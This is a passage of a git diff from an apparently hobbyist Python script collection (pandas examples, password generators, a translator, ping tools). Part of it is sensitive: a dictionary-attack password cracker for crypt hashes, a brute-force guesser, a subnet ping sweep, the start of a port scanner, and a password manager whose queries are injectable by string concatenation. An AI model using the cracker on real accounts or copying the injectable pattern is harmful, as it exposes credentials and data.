= pd.DataFrame([[1, 2], [3, 4]], columns=["a", "b"]) +df2 = pd.DataFrame([[5, 6], [7, 8]], columns=["a", "b"]) + +df = df.append(df2) +print(df.head()) + +# ........Deleting a Row..................# + +df = pd.DataFrame([[1, 2], [3, 4]], columns=["a", "b"]) +df2 = pd.DataFrame([[5, 6], [7, 8]], columns=["a", "b"]) + +df = df.append(df2) + +# Drop rows with label 0 +df = df.drop(0) + +print(df) + +# ..........................Functions.....................................# + + +d = { + "Name": pd.Series(["Tom", "James", "Ricky", "Vin", "Steve", "Smith", "Jack"]), + "Age": pd.Series([25, 26, 25, 23, 30, 29, 23]), + "Rating": pd.Series([4.23, 3.24, 3.98, 2.56, 3.20, 4.6, 3.8]), +} + +df = pd.DataFrame(d) +print("The transpose of the data series is:") +print(df.T) +print(df.shape) +print(df.size) +print(df.values) + +# .........................Statistics.......................................# + +d = { + "Name": pd.Series( + [ + "Tom", + "James", + "Ricky", + "Vin", + "Steve", + "Smith", + "Jack", + "Lee", + "David", + "Gasper", + "Betina", + "Andres", + ] + ), + "Age": pd.Series([25, 26, 25, 23, 30, 29, 23, 34, 40, 30, 51, 46]), + "Rating": pd.Series( + [4.23, 3.24, 3.98, 2.56, 3.20, 4.6, 3.8, 3.78, 2.98, 4.80, 4.10, 3.65] + ), +} +df = pd.DataFrame(d) +print(df.sum()) + +d = { + "Name": pd.Series( + [ + "Tom", + "James", + "Ricky", + "Vin", + "Steve", + "Smith", + "Jack", + "Lee", + "David", + "Gasper", + "Betina", + "Andres", + ] + ), + "Age": pd.Series([25, 26, 25, 23, 30, 29, 23, 34, 40, 30, 51, 46]), + "Rating": pd.Series( + [4.23, 3.24, 3.98, 2.56, 3.20, 4.6, 3.8, 3.78, 2.98, 4.80, 4.10, 3.65] + ), +} +df = pd.DataFrame(d) +print(df.describe(include="all")) + +# .......................Sorting..........................................# + +# Using the sort_index() method, by passing the axis arguments and the order of sorting, +# DataFrame can be sorted. By default, sorting is done on row labels in ascending order. + +unsorted_df = pd.DataFrame( + np.random.randn(10, 2), + index=[1, 4, 6, 2, 3, 5, 9, 8, 0, 7], + columns=["col2", "col1"], +) + +sorted_df = unsorted_df.sort_index() +print(sorted_df) +sorted_df = unsorted_df.sort_index(ascending=False) +print(sorted_df) + +# By passing the axis argument with a value 0 or 1, +# the sorting can be done on the column labels. By default, axis=0, sort by row. +# Let us consider the following example to understand the same. + +unsorted_df = pd.DataFrame( + np.random.randn(10, 2), + index=[1, 4, 6, 2, 3, 5, 9, 8, 0, 7], + columns=["col2", "col1"], +) +sorted_df = unsorted_df.sort_index(axis=1) +print(sorted_df) + +unsorted_df = pd.DataFrame({"col1": [2, 1, 1, 1], "col2": [1, 3, 2, 4]}) +sorted_df = unsorted_df.sort_values(by="col1", kind="mergesort") + +# print (sorted_df) + +# ...........................SLICING...............................# + +df = pd.DataFrame( + np.random.randn(8, 4), + index=["a", "b", "c", "d", "e", "f", "g", "h"], + columns=["A", "B", "C", "D"], +) +# Select all rows for multiple columns, say list[] +print(df.loc[:, ["A", "C"]]) +print(df.loc[["a", "b", "f", "h"], ["A", "C"]]) + +df = pd.DataFrame(np.random.randn(8, 4), columns=["A", "B", "C", "D"]) +# Index slicing +print(df.ix[:, "A"]) + +# ............................statistics......................# + +s = pd.Series([1, 2, 3, 4, 5, 4]) +print(s.pct_change()) + +df = pd.DataFrame(np.random.randn(5, 2)) +print(df.pct_change()) + +df = pd.DataFrame( + np.random.randn(10, 4), + index=pd.date_range("1/1/2000", periods=10), + columns=["A", "B", "C", "D"], +) +print(df.rolling(window=3).mean()) + +print(df.expanding(min_periods=3).mean()) + +# ........................MISSING DATA............................................# + +df = pd.DataFrame( + np.random.randn(3, 3), index=["a", "c", "e"], columns=["one", "two", "three"] +) + +df = df.reindex(["a", "b", "c"]) + +print(df) +print("NaN replaced with '0':") +print(df.fillna(0)) + +df = pd.DataFrame( + np.random.randn(5, 3), + index=["a", "c", "e", "f", "h"], + columns=["one", "two", "three"], +) + +df = df.reindex(["a", "b", "c", "d", "e", "f", "g", "h"]) + +print(df) +print(df.fillna(method="pad")) +print(df.fillna(method="bfill")) +print(df.dropna()) +print(df.dropna(axis=1)) + +# .........................Grouping...............................................# + +ipl_data = { + "Team": [ + "Riders", + "Riders", + "Devils", + "Devils", + "Kings", + "kings", + "Kings", + "Kings", + "Riders", + "Royals", + "Royals", + "Riders", + ], + "Rank": [1, 2, 2, 3, 3, 4, 1, 1, 2, 4, 1, 2], + "Year": [2014, 2015, 2014, 2015, 2014, 2015, 2016, 2017, 2016, 2014, 2015, 2017], + "Points": [876, 789, 863, 673, 741, 812, 756, 788, 694, 701, 804, 690], +} +df = pd.DataFrame(ipl_data) + +grouped = df.groupby("Year") + +for name, group in grouped: + print(name) + print(group) + +print(grouped.get_group(2014)) +grouped = df.groupby("Team") +print(grouped["Points"].agg([np.sum, np.mean, np.std])) + +# ...............................Reading a Csv File............................# + +data = pd.read_csv("dat.csv") +print(data) diff --git a/password guessing.py b/password guessing.py new file mode 100644 index 00000000000..774db7f4e8c --- /dev/null +++ b/password guessing.py @@ -0,0 +1,66 @@ +# Author: Slayking1965 +# Email: kingslayer8509@gmail.com + +""" +Brute-force password guessing demonstration. + +This script simulates guessing a password using random choices from +printable characters. It is a conceptual demonstration and is **not +intended for real-world password cracking**. + +Example usage (simulated): +>>> import random +>>> random.seed(0) +>>> password = "abc" +>>> chars_list = list("abc") +>>> guess = random.choices(chars_list, k=len(password)) +>>> guess # doctest: +ELLIPSIS +['a', 'c', 'b']... +""" + +import random +import string +from typing import List + + +def guess_password_simulation(password: str) -> str: + """ + Attempt to guess a password using random choices from printable chars. + + Parameters + ---------- + password : str + The password to guess. + + Returns + ------- + str + The correctly guessed password. + + Example: + >>> random.seed(1) + >>> guess_password_simulation("abc") # doctest: +ELLIPSIS + 'abc' + """ + chars_list: List[str] = list(string.printable) + guess: List[str] = [] + + attempts = 0 + while guess != list(password): + guess = random.choices(chars_list, k=len(password)) + attempts += 1 + print(f"<== Attempt {attempts}: {''.join(guess)} ==>") + + print("Password guessed successfully!") + return "".join(guess) + + +if __name__ == "__main__": + import doctest + import pyautogui + + doctest.testmod() + # Prompt user for password safely + user_password: str = pyautogui.password("Enter a password: ") + if user_password: + guess_password_simulation(user_password) diff --git a/passwordGen.py b/passwordGen.py new file mode 100644 index 00000000000..56ab3b462a1 --- /dev/null +++ b/passwordGen.py @@ -0,0 +1,23 @@ +import random +lChars = "abcdefghijklmnopqrstuvwxyz" +uChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +digits = "1234567890" +specialChars = "!@#$%^&*-_+=()[]" +myPass = "" +# Generate 3 lowercase letters +for _ in range(3): + myPass += random.choice(lChars) + +# Generate 3 digits +for _ in range(3): + myPass += random.choice(digits) + +# Generate 2 special characters +for _ in range(2): + myPass += random.choice(specialChars) + +# Generate 2 uppercase letters +for _ in range(2): + myPass += random.choice(uChars) + +print(myPass) diff --git a/passwordGenerator.py b/passwordGenerator.py new file mode 100644 index 00000000000..67502725ccb --- /dev/null +++ b/passwordGenerator.py @@ -0,0 +1,110 @@ +# PasswordGenerator GGearing 314 01/10/19 +# modified Prince Gangurde 4/4/2020 + +from random import randint + +case = randint(1, 2) +number = randint(1, 99) + +specialCharacters = ( + "!", + "@", + "#", + "$", + "%", + "/", + "?", + ":", + "<", + ">", + "|", + "&", + "*", + "-", + "=", + "+", + "_", +) + +animals = ( + "ant", + "alligator", + "baboon", + "badger", + "barb", + "bat", + "beagle", + "bear", + "beaver", + "bird", + "bison", + "bombay", + "bongo", + "booby", + "butterfly", + "bee", + "camel", + "cat", + "caterpillar", + "catfish", + "cheetah", + "chicken", + "chipmunk", + "cow", + "crab", + "deer", + "dingo", + "dodo", + "dog", + "dolphin", + "donkey", + "duck", + "eagle", + "earwig", + "elephant", + "emu", + "falcon", + "ferret", + "fish", + "flamingo", + "fly", + "fox", + "frog", + "gecko", + "gibbon", + "giraffe", + "goat", + "goose", + "gorilla", +) + +colour = ( + "red", + "orange", + "yellow", + "green", + "blue", + "indigo", + "violet", + "purple", + "magenta", + "cyan", + "pink", + "brown", + "white", + "grey", + "black", +) + +chosenanimal = animals[ + randint(0, len(animals) - 1) +] # randint will return max lenght but , tuple has index from 0 to len-1 +chosencolour = colour[randint(0, len(colour) - 1)] +chosenSpecialCharacter = specialCharacters[randint(0, len(specialCharacters) - 1)] + +if case == 1: + chosenanimal = chosenanimal.upper() + print(chosencolour, number, chosenanimal, chosenSpecialCharacter) +else: + chosencolour = chosencolour.upper() + print(chosenanimal, number, chosencolour, chosenSpecialCharacter) diff --git a/password_checker.py b/password_checker.py new file mode 100644 index 00000000000..4fb610d90a8 --- /dev/null +++ b/password_checker.py @@ -0,0 +1,27 @@ +import time + +pwd = "AKS2608" # any password u want to set + + +def IInd_func(): + count1 = 0 + for j in range(5): + a = 0 + count = 0 + user_pwd = input("") # password you remember + for i in range(len(pwd)): + if user_pwd[i] == pwd[a]: # comparing remembered pwd with fixed pwd + a += 1 + count += 1 + if count == len(pwd): + print("correct pwd") + break + else: + count1 += 1 + print("not correct") + if count1 == 5: + time.sleep(30) + IInd_func() + + +IInd_func() diff --git a/password_cracker.py b/password_cracker.py index dadca4f09d3..3581fcc39f0 100644 --- a/password_cracker.py +++ b/password_cracker.py @@ -1,50 +1,48 @@ +from __future__ import print_function + +from sys import platform as _platform + # Script Name : password_cracker.py # Author : Craig Richards # Created : 20 May 2013 # Last Modified : # Version : 1.0 - # Modifications : - # Description : Old school password cracker using python -from sys import platform as _platform - # Check the current operating system to import the correct version of crypt -if _platform == "linux" or _platform == "linux2": - import crypt # Import the module -elif _platform == "darwin": - # Mac OS X - import crypt +if _platform in ["linux", "linux2", "darwin"]: # darwin is _platform name for Mac OS X + import crypt # Import the module elif _platform == "win32": # Windows try: - import fcrypt # Try importing the fcrypt module + import fcrypt # Try importing the fcrypt module except ImportError: - print 'Please install fcrypt if you are on Windows' + print("Please install fcrypt if you are on Windows") +def testPass(cryptPass): # Start the function + salt = cryptPass[0:2] + dictFile = open("dictionary.txt", "r") # Open the dictionary file + for word in dictFile.readlines(): # Scan through the file + word = word.strip("\n") + cryptWord = crypt.crypt(word, salt) # Check for password in the file + if cryptWord == cryptPass: + print("[+] Found Password: " + word + "\n") + return + print("[-] Password Not Found.\n") + return -def testPass(cryptPass): # Start the function - salt = cryptPass[0:2] - dictFile=open('dictionary.txt','r') # Open the dictionary file - for word in dictFile.readlines(): # Scan through the file - word=word.strip('\n') - cryptWord=crypt.crypt(word,salt) # Check for password in the file - if (cryptWord == cryptPass): - print "[+] Found Password: "+word+"\n" - return - print "[-] Password Not Found.\n" - return def main(): - passFile = open('passwords.txt') # Open the password file - for line in passFile.readlines(): # Read through the file - if ":" in line: - user=line.split(':')[0] - cryptPass = line.split(':')[1].strip(' ') # Prepare the user name etc - print "[*] Cracking Password For: "+user - testPass(cryptPass) # Call it to crack the users password + passFile = open("passwords.txt") # Open the password file + for line in passFile.readlines(): # Read through the file + if ":" in line: + user = line.split(":")[0] + cryptPass = line.split(":")[1].strip(" ") # Prepare the user name etc + print("[*] Cracking Password For: " + user) + testPass(cryptPass) # Call it to crack the users password + if __name__ == "__main__": - main() + main() diff --git a/password_manager.py b/password_manager.py new file mode 100644 index 00000000000..cbbbcf87ef2 --- /dev/null +++ b/password_manager.py @@ -0,0 +1,161 @@ +import sqlite3 +from getpass import getpass +import os + +# set the environment variable ADMIN_PASS to your desired string, which will be your password. +ADMIN_PASSWORD = os.environ["ADMIN_PASS"] +connect = getpass("What is your admin password?\n") + +while connect != ADMIN_PASSWORD: + connect = getpass("What is your admin password?\n") + if connect == "q": + break + +conn = sqlite3.connect("password_manager.db") +cursor_ = conn.cursor() + + +def get_password(service_): + command = 'SELECT * from STORE WHERE SERVICE = "' + service_ + '"' + cursor = conn.execute(command) + for row in cursor: + username_ = row[1] + password_ = row[2] + return [username_, password_] + + +def add_password(service_, username_, password_): + command = ( + 'INSERT INTO STORE (SERVICE,USERNAME,PASSWORD) VALUES("' + + service_ + + '","' + + username_ + + '","' + + password_ + + '");' + ) + conn.execute(command) + conn.commit() + + +def update_password(service_, password_): + command = ( + 'UPDATE STORE set PASSWORD = "' + + password_ + + '" where SERVICE = "' + + service_ + + '"' + ) + conn.execute(command) + conn.commit() + print(service_ + " password updated successfully.") + + +def delete_service(service_): + command = 'DELETE from STORE where SERVICE = "' + service_ + '"' + conn.execute(command) + conn.commit() + print(service_ + " deleted from the database successfully.") + + +def get_all(): + cursor_.execute("SELECT * from STORE") + data = cursor_.fetchall() + if len(data) == 0: + print("No Data") + else: + for row in data: + print("service = ", row[0]) + print("username = ", row[1]) + print("password = ", row[2]) + print() + + +def is_service_present(service_): + cursor_.execute("SELECT SERVICE from STORE where SERVICE = ?", (service_,)) + data = cursor_.fetchall() + if len(data) == 0: + print("There is no service named %s" % service_) + return False + else: + return True + + +if connect == ADMIN_PASSWORD: + try: + conn.execute( + """CREATE TABLE STORE + (SERVICE TEXT PRIMARY KEY NOT NULL, + USERNAME TEXT NOT NULL, + PASSWORD TEXT NOT NULL); + """ + ) + print("Your safe has been created!\nWhat would you like to store in it today?") + except: + print("You have a safe, what would you like to do today?") + + while True: + print("\n" + "*" * 15) + print("Commands:") + print("quit = quit program") + print("get = get username and password") + print("getall = show all the details in the database") + print("store = store username and password") + print("update = update password") + print("delete = delete a service details") + print("*" * 15) + input_ = input(":") + + if input_ == "quit": + print("\nGoodbye, have a great day.\n") + conn.close() + break + + elif input_ == "store": + service = input("What is the name of the service?\n") + cursor_.execute("SELECT SERVICE from STORE where SERVICE = ?", (service,)) + data = cursor_.fetchall() + if len(data) == 0: + username = input("Enter username : ") + password = getpass("Enter password : ") + if username == "" or password == "": + print("Your username or password is empty.") + else: + add_password(service, username, password) + print("\n" + service.capitalize() + " password stored\n") + else: + print("Service named {} already exists.".format(service)) + + elif input_ == "get": + service = input("What is the name of the service?\n") + flag = is_service_present(service) + if flag: + username, password = get_password(service) + print(service.capitalize() + " Details") + print("Username : ", username) + print("Password : ", password) + + elif input_ == "update": + service = input("What is the name of the service?\n") + if service == "": + print("Service is not entered.") + else: + flag = is_service_present(service) + if flag: + password = getpass("Enter new password : ") + update_password(service, password) + + elif input_ == "delete": + service = input("What is the name of the service?\n") + if service == "": + print("Service is not entered.") + else: + flag = is_service_present(service) + if flag: + delete_service(service) + + elif input_ == "getall": + get_all() + + else: + print("Invalid command.") diff --git a/password_programs_multiple/animal_name_scraiper.py b/password_programs_multiple/animal_name_scraiper.py new file mode 100644 index 00000000000..450dd9a03bd --- /dev/null +++ b/password_programs_multiple/animal_name_scraiper.py @@ -0,0 +1,70 @@ +import requests +from bs4 import BeautifulSoup + +# * Using html5lib as the parser is good +# * It is the most lenient parser and works as + +animals_A_to_Z_URL = "https://animalcorner.org/animal-sitemap/#" + +results = requests.get(animals_A_to_Z_URL) +# ? results and results.text ? what are these? + +# soup = BeautifulSoup(results.text, "html.parser") +# * will use html5lib as the parser +soup = BeautifulSoup(results.text, "html5lib") + +# print(soup.prettify()) + +# To store animal names +animal_name = [] + +# To store the titles of animals +animal_title = [] + +# alphabet_head = soup.find_all("div", class_="wp-block-heading") +# alphabet_head = soup.find_all("div", class_="side-container") +# * .text all it's immediate text and children +# * .string only the immediate text +# print(soup.find_all("h2", class_="wp-block-heading")) +# az_title = soup.find_all("h2", class_="wp-block-heading") +az_names = soup.find_all( + "div", class_="wp-block-column is-layout-flow wp-block-column-is-layout-flow" +) +# az_title = soup +# for title in az_title: +# # print(title.text) +# print(title.string) +# print(title.find(class_="wp-block-testing")) + +for name_div in az_names: + a_names = name_div.find_all("br") + + for elements in a_names: + # print(elements.text) + # print(elements, end="\n") + next_sibling = elements.next_sibling + # Check if the next sibling exists and if it's not a
element + while next_sibling and next_sibling.name == "br": + next_sibling = next_sibling.next_sibling + + # Print the text content of the next sibling element + if next_sibling: + print(next_sibling.text.strip()) + + # print(name.text) + +# print(soup.h2.string) + +# for container in alphabet_head: +# print(container.text, end="\n") +# titles = container.div.div.find("h2", class_="wp-block-heading") +# title = container.find("h2", class_="wp-block-heading") +# title = container.h3.text +# print(title.text, end="\n") + +# print(container.find_all("h2", class_ = "wp-block-heading")) + + +# print(soup.get_text(), end="\p") + +# Want to write it to a file and sort and analyse it diff --git a/password_programs_multiple/passwordGenerator.py b/password_programs_multiple/passwordGenerator.py new file mode 100644 index 00000000000..2e7678ae660 --- /dev/null +++ b/password_programs_multiple/passwordGenerator.py @@ -0,0 +1,108 @@ +# PasswordGenerator GGearing 314 01/10/19 +# modified Prince Gangurde 4/4/2020 + +import random +import pycountry + + +def generate_password(): + # Define characters and word sets + special_characters = list("!@#$%/?<>|&*-=+_") + + animals = ( + "ant", + "alligator", + "baboon", + "badger", + "barb", + "bat", + "beagle", + "bear", + "beaver", + "bird", + "bison", + "bombay", + "bongo", + "booby", + "butterfly", + "bee", + "camel", + "cat", + "caterpillar", + "catfish", + "cheetah", + "chicken", + "chipmunk", + "cow", + "crab", + "deer", + "dingo", + "dodo", + "dog", + "dolphin", + "donkey", + "duck", + "eagle", + "earwig", + "elephant", + "emu", + "falcon", + "ferret", + "fish", + "flamingo", + "fly", + "fox", + "frog", + "gecko", + "gibbon", + "giraffe", + "goat", + "goose", + "gorilla", + ) + + colours = ( + "red", + "orange", + "yellow", + "green", + "blue", + "indigo", + "violet", + "purple", + "magenta", + "cyan", + "pink", + "brown", + "white", + "grey", + "black", + ) + + # Get random values + animal = random.choice(animals) + colour = random.choice(colours) + number = random.randint(1, 999) + special = random.choice(special_characters) + case_choice = random.choice(["upper_colour", "upper_animal"]) + + # Pick a random country and language + country = random.choice(list(pycountry.countries)).name + languages = [lang.name for lang in pycountry.languages if hasattr(lang, "name")] + language = random.choice(languages) + + # Apply casing + if case_choice == "upper_colour": + colour = colour.upper() + else: + animal = animal.upper() + + # Combine to form password + password = f"{colour}{number}{animal}{special}" + print("Generated Password:", password) + print("Based on Country:", country) + print("Language Hint:", language) + + +# Run it +generate_password() diff --git a/personal_translator.py b/personal_translator.py new file mode 100644 index 00000000000..146d62e7346 --- /dev/null +++ b/personal_translator.py @@ -0,0 +1,51 @@ +# -*- coding: utf-8 -*- +"""Personal_translator.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1lHb0mCvF6Ie3QaTt3VfqlNjNs6vuV5qJ +""" + +# uncomment the line to intall googletrans library +# ! pip install googletrans + +from googletrans import Translator + + +# make a simple function that will translate any language to english +def text_translator(Text): + translator = Translator() + translated = translator.translate(Text, dest="en") + return translated.text + + +text_translator( + "Cidades brasileiras integram programa de preservação de florestas" +) # portuguese to english + +text_translator("Guten Morgen, wie gehts?") # german to english + +text_translator("Ami tumake bhalobashi") # bengali to english + +text_translator("ਮੈਨੂੰ ਇੱਕ ਗੱਲ ਦੱਸੋ") # punjabi to english + +text_translator("I am fine") # english text remains constant + + +def eng2punj_translator(Text): # english to punjabi translator + translator = Translator() + translated = translator.translate(Text, dest="pa") + return translated.text + + +eng2punj_translator("Meet you soon") + + +def eng2beng_translator(Text): # english to bengali translator + translator = Translator() + translated = translator.translate(Text, dest="bn") + return translated.text + + +eng2beng_translator("So happy to see you") diff --git a/ph_email.py b/ph_email.py new file mode 100755 index 00000000000..8656d489ce2 --- /dev/null +++ b/ph_email.py @@ -0,0 +1,65 @@ +#!/usr/bin/python3 + +# find phone numbers and email addresses +# ./ph_email.py searches for phone numbers and emails in the latest clipboard +# entry and writes the matches into matches.txt + +import re + +import pyperclip + +# Phone regex overview per line +# word boundary +# area code +91, 91, 0 +# optional space +# ten numbers +# word boundary + +find_phone = re.compile( + r"""\b + (\+?91|0)? + \ ? + (\d{10}) + \b + """, + re.X, +) + +# email regex source : http://www.regexlib.com/REDetails.aspx?regexp_id=26 +find_email = re.compile( + r"""( + ([a-zA-Z0-9_\-\.]+) + @ + ((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.) + | + (([a-zA-Z0-9\-]+\.)+)) + ([a-zA-Z]{2,4}|[0-9]{1,3}) + (\]?) + ) + """, + re.X, +) + +text = pyperclip.paste() # retrieve text from clipboard + +matches = [] # list to store numbers and emails + +# ph[1] means second item of the group-wise tuple +# which is returned by findall function +# same applies to email + +for ph in find_phone.findall(text): + matches.append(ph[1]) + +for em in find_email.findall(text): + matches.append(em[0]) + +# display number of matches +print(f"{len(matches)} matches found") + +# if matches are found add then to file +if len(matches): + with open("matches.txt", "a") as file: + for match in matches: + file.write(match) + file.write("\n") diff --git a/ping_servers.py b/ping_servers.py index 13fca799899..22b2f876cc5 100644 --- a/ping_servers.py +++ b/ping_servers.py @@ -1,64 +1,90 @@ +from __future__ import print_function + +import os # Load the Library Module +import subprocess # Load the Library Module +import sys # Load the Library Module + # Script Name : ping_servers.py # Author : Craig Richards # Created : 9th May 2012 # Last Modified : 14th May 2012 # Version : 1.1 - # Modifications : 1.1 - 14th May 2012 - CR Changed it to use the config directory to store the server files +# Description : This script will, depending on the arguments supplied will ping the +# servers associated with that application group. -# Description : This script will, depending on the arguments supplied will ping the servers associated with that application group. - -import os # Load the Library Module -import subprocess # Load the Library Module -import sys # Load the Library Module - -if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: # Help Menu if called - print ''' +filename = sys.argv[0] # Sets a variable for the script name +if ( + "-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv +): # Help Menu if called + print( + """ You need to supply the application group for the servers you want to ping, i.e. - dms - swaps - + dms + swaps + Followed by the site i.e. - 155 - bromley''' + 155 + bromley""" + ) sys.exit(0) else: + if ( + len(sys.argv) < 3 + ): # If no arguments are passed,display the help/instructions on how to run the script + sys.exit( + "\nYou need to supply the app group. Usage : " + + filename + + " followed by the application group i.e. \n \t dms or \n \t swaps \n " + "then the site i.e. \n \t 155 or \n \t bromley" + ) + + appgroup = sys.argv[1] # Set the variable appgroup as the first argument you supply + site = sys.argv[2] # Set the variable site as the second argument you supply + + if os.name == "posix": # Check the os, if it's linux then + myping = "ping -c 2 " # This is the ping command + elif os.name in ("nt", "dos", "ce"): # Check the os, if it's windows then + myping = "ping -n 2 " # This is the ping command + + if "dms" in sys.argv: # If the argument passed is dms then + appgroup = "dms" # Set the variable appgroup to dms + elif "swaps" in sys.argv: # Else if the argment passed is swaps then + appgroup = "swaps" # Set the variable appgroup to swaps - if (len(sys.argv) < 3): # If no arguments are passed,display the help/instructions on how to run the script - sys.exit ('\nYou need to supply the app group. Usage : ' + filename + ' followed by the application group i.e. \n \t dms or \n \t swaps \n then the site i.e. \n \t 155 or \n \t bromley') + if "155" in sys.argv: # If the argument passed is 155 then + site = "155" # Set the variable site to 155 + elif "bromley" in sys.argv: # Else if the argument passed is bromley + site = "bromley" # Set the variable site to bromley - appgroup = sys.argv[1] # Set the variable appgroup as the first argument you supply - site = sys.argv[2] # Set the variable site as the second argument you supply - - if os.name == "posix": # Check the os, if it's linux then - myping = "ping -c 2 " # This is the ping command - elif os.name in ("nt", "dos", "ce"): # Check the os, if it's windows then - myping = "ping -n 2 " # This is the ping command - - if 'dms' in sys.argv: # If the argument passed is dms then - appgroup = 'dms' # Set the variable appgroup to dms - elif 'swaps' in sys.argv: # Else if the argment passed is swaps then - appgroup = 'swaps' # Set the variable appgroup to swaps - - if '155' in sys.argv: # If the argument passed is 155 then - site = '155' # Set the variable site to 155 - elif 'bromley' in sys.argv: # Else if the argument passed is bromley - site = 'bromley' # Set the variable site to bromley +logdir = os.getenv("logs") # Set the variable logdir by getting the OS environment logs +logfile = ( + "ping_" + appgroup + "_" + site + ".log" +) # Set the variable logfile, using the arguments passed to create the logfile +logfilename = os.path.join( + logdir, logfile +) # Set the variable logfilename by joining logdir and logfile together +confdir = os.getenv( + "my_config" +) # Set the variable confdir from the OS environment variable - 1.2 +conffile = appgroup + "_servers_" + site + ".txt" # Set the variable conffile - 1.2 +conffilename = os.path.join( + confdir, conffile +) # Set the variable conffilename by joining confdir and conffile together - 1.2 -filename = sys.argv[0] # Sets a variable for the script name -logdir = os.getenv("logs") # Set the variable logdir by getting the OS environment logs -logfile = 'ping_'+appgroup+'_'+site+'.log' # Set the variable logfile, using the arguments passed to create the logfile -logfilename=os.path.join(logdir, logfile) # Set the variable logfilename by joining logdir and logfile together -confdir = os.getenv("my_config") # Set the variable confdir from the OS environment variable - 1.2 -conffile = (appgroup+'_servers_'+site+'.txt') # Set the variable conffile - 1.2 -conffilename=os.path.join(confdir, conffile) # Set the variable conffilename by joining confdir and conffile together - 1.2 +f = open(logfilename, "w") # Open a logfile to write out the output +for server in open(conffilename): # Open the config file and read each line - 1.2 + ret = subprocess.call( + myping + server, shell=True, stdout=f, stderr=subprocess.STDOUT + ) # Run the ping command for each server in the list. + if ret == 0: # Depending on the response + f.write( + server.strip() + " is alive" + "\n" + ) # Write out that you can receive a reponse + else: + f.write( + server.strip() + " did not respond" + "\n" + ) # Write out you can't reach the box -f = open(logfilename, "w") # Open a logfile to write out the output -for server in open(conffilename): # Open the config file and read each line - 1.2 - ret = subprocess.call(myping + server, shell=True,stdout=f,stderr=subprocess.STDOUT) # Run the ping command for each server in the list. - if ret == 0: # Depending on the response - f.write (server.strip() + " is alive" + "\n") # Write out that you can receive a reponse - else: - f.write (server.strip() + " did not respond" + "\n") # Write out you can't reach the box - -print ("\n\tYou can see the results in the logfile : "+ logfilename); # Show the location of the logfile \ No newline at end of file +print("\n\tYou can see the results in the logfile : " + logfilename) +# Show the location of the logfile diff --git a/ping_subnet.py b/ping_subnet.py index 657095af663..15677892f37 100644 --- a/ping_subnet.py +++ b/ping_subnet.py @@ -1,39 +1,59 @@ +from __future__ import print_function + +import os # Load the Library Module +import subprocess # Load the Library Module +import sys # Load the Library Module + # Script Name : ping_subnet.py # Author : Craig Richards # Created : 12th January 2012 -# Last Modified : +# Last Modified : # Version : 1.0 - -# Modifications : - +# Modifications : # Description : After supplying the first 3 octets it will scan the final range for available addresses -import os # Load the Library Module -import subprocess # Load the Library Module -import sys # Load the Library Module - -filename = sys.argv[0] # Sets a variable for the script name - -if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: # Help Menu if called - print ''' -You need to supply the first octets of the address Usage : ''' + filename + ''' 111.111.111 ''' +filename = sys.argv[0] # Sets a variable for the script name + +if ( + "-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv +): # Help Menu if called + print( + """ +You need to supply the first octets of the address Usage : """ + + filename + + """ 111.111.111 """ + ) sys.exit(0) else: - - if (len(sys.argv) < 2): # If no arguments are passed then display the help and instructions on how to run the script - sys.exit (' You need to supply the first octets of the address Usage : ' + filename + ' 111.111.111') - - subnet = sys.argv[1] # Set the variable subnet as the three octets you pass it - - if os.name == "posix": # Check the os, if it's linux then - myping = "ping -c 2 " # This is the ping command - elif os.name in ("nt", "dos", "ce"): # Check the os, if it's windows then - myping = "ping -n 2 " # This is the ping command - - f = open('ping_'+subnet+'.log', 'w') # Open a logfile - for ip in range(2,255): # Set the ip variable for the range of numbers - ret = subprocess.call(myping + str(subnet)+"."+str(ip) , shell=True,stdout=f,stderr=subprocess.STDOUT) # Run the command pinging the servers - if ret == 0: # Depending on the response - f.write (subnet+"."+str(ip) + " is alive" + "\n") # Write out that you can receive a reponse - else: - f.write (subnet+"."+str(ip) + " did not respond" + "\n") # Write out you can't reach the box \ No newline at end of file + if ( + len(sys.argv) < 2 + ): # If no arguments are passed then display the help and instructions on how to run the script + sys.exit( + " You need to supply the first octets of the address Usage : " + + filename + + " 111.111.111" + ) + + subnet = sys.argv[1] # Set the variable subnet as the three octets you pass it + + if os.name == "posix": # Check the os, if it's linux then + myping = "ping -c 2 " # This is the ping command + elif os.name in ("nt", "dos", "ce"): # Check the os, if it's windows then + myping = "ping -n 2 " # This is the ping command + + f = open("ping_" + subnet + ".log", "w") # Open a logfile + for ip in range(2, 255): # Set the ip variable for the range of numbers + ret = subprocess.call( + myping + str(subnet) + "." + str(ip), + shell=True, + stdout=f, + stderr=subprocess.STDOUT, + ) # Run the command pinging the servers + if ret == 0: # Depending on the response + f.write( + subnet + "." + str(ip) + " is alive" + "\n" + ) # Write out that you can receive a reponse + else: + f.write( + subnet + "." + str(ip) + " did not respond" + "\n" + ) # Write out you can't reach the box diff --git a/polygon.py b/polygon.py new file mode 100644 index 00000000000..ba300f8a317 --- /dev/null +++ b/polygon.py @@ -0,0 +1,21 @@ +import pygame +import sys +from pygame.locals import * + +pygame.init() +window = pygame.display.set_mode((400, 300), 0, 32) +pygame.display.set_caption("Shape") + +WHITE = (255, 255, 255) +GREEN = (0, 255, 0) + +window.fill(WHITE) +pygame.draw.polygon(window, GREEN, ((146, 0), (236, 277), (56, 277))) + +# Game logic +while True: + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + sys.exit() + pygame.display.update() diff --git a/portscanner.py b/portscanner.py index da99cecfcda..78fcde14a26 100644 --- a/portscanner.py +++ b/portscanner.py @@ -1,61 +1,71 @@ +from __future__ import print_function + +import optparse # Import the module +from socket import * # Import the module +from threading import * # Import the module + # Script Name : portscanner.py # Author : Craig Richards -# Created : 20 May 2013 -# Last Modified : +# Created : 20 May 2013 +# Last Modified : # Version : 1.0 +# Modifications : +# Description : Port Scanner, you just pass the host and the ports -# Modifications : +screenLock = Semaphore(value=1) # Prevent other threads from preceeding -# Description : Port Scanner, you just pass the host and the ports -import optparse # Import the module -from socket import * # Import the module -from threading import * # Import the module - -screenLock = Semaphore(value=1) # Prevent other threads from preceeding - -def connScan(tgtHost, tgtPort): # Start of the function - try: - connSkt = socket(AF_INET, SOCK_STREAM) # Open 